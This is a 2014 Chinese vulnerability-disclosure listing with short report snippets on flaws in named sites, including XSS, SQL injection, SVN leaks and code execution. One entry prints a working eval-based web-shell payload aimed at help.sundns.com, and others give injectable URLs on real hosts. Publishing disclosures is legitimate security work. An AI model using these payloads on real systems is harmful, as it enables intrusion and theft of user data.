文章资讯

• PC版UC浏览器存储型XSS漏洞下载

  前几天看到有人提交了电脑版uc的漏洞，昨晚测试了一下，发现可以，但是发现官方更新了，在测试就不行了，但是没修复好，我还是能弹。我也要学黑哥弹个计算器，不过这是以后的事情了修复方案：那些危险字符都过滤了吧。。

  2014-06-12

• [公开漏洞]阳光互联帮助中心任意代码执行漏洞（疑似后门）

  阳光互联帮助中心任意代码执行漏洞（疑似后门） 相关厂商： sundns.com漏洞作者：路人甲 提交时间：2014-05-28 18:53 公开时间：2014-06-02 18:54 漏洞类型：设计缺陷/逻辑错误危害等级：中 自评Rank

  2014-06-12

• 漫游暴风影音并发现一系列安全问题下载

  暴风影音某日志伺服器存在代码执行，由于运维疏忽导致其某台服务器私钥泄露和一系列安全问题panxiaodong同学，你惹大祸了，怎么能这么管理服务器呢部分支持外联的数据库和敏感信息已打码，快整改吧~（在整个过程中未做任何恶意篡改）http:/

  2014-06-12

• 迪科远望校园一卡通存在sql注入下载

  迪科远望校园一卡通存在sql注入,进入一卡通网站后，可以获得DBA权限，并且获得校园卡包括余额在内的所有信息并修改检查是否是dba修复方案：http://target/fabu/cardUserManager.do?method=third

  2014-06-12

• [公开漏洞]华图教育某站svn导致的裤子脱落

  华图教育某站svn导致的裤子脱落 相关厂商： 华图教育漏洞作者：mayday纯真 提交时间：2014-04-18 17:44 公开时间：2014-06-02 17:45 漏洞类型：应用配置错误危害等级：高 自评Rank：10 漏洞状态：

  2014-06-12

• 阳光互联帮助中心任意代码执行漏洞下载

  http://help.sundns.com/help/index.php?page=${@print%28eval%28$_POST[c]%29%29}密码c

  2014-06-12

• [公开漏洞]如何从一个过期客户端中获得中通K8系统和中通中天核心系统管理权限

  如何从一个过期客户端中获得中通K8系统和中通中天核心系统管理权限 相关厂商： 中通速递漏洞作者：showonder 提交时间：2014-04-19 21:35 公开时间：2014-06-03 21:35 漏洞类型：重要敏感信息泄露危害等级

  2014-06-12

• 07073主站SQL注入漏洞导致管理密码被爆下载

  07073主站SQL注入漏洞导致管理密码被爆dede Nday查看友情链接 http://www.07073.com/plus/flink.php 发现被人利用，挂了好多被插密码dedecms密码前3后1之后尝试破解，有记录。修复方案：删掉

  2014-06-12

• [公开漏洞]优酷网某业务SQL注射

  优酷网某业务SQL注射 相关厂商： 优酷漏洞作者：卡卡 提交时间：2014-04-21 14:21 公开时间：2014-06-05 14:21 漏洞类型：SQL注射漏洞危害等级：高 自评Rank：20 漏洞状态： 厂商已经确认漏洞来源：h

  2014-06-12

• 人人网某站点存在sql注入漏洞下载

  人人网某站点存在sql注入漏洞存在mysql注入的站点：http://iweidu.renren.com/是个校园招聘团队。使用的是cmseasy老版本，存在注入漏洞。post提交：http://60.28.218.94/index.php

  2014-06-12
共 32732 条«‹31133114311531163117311831193120›»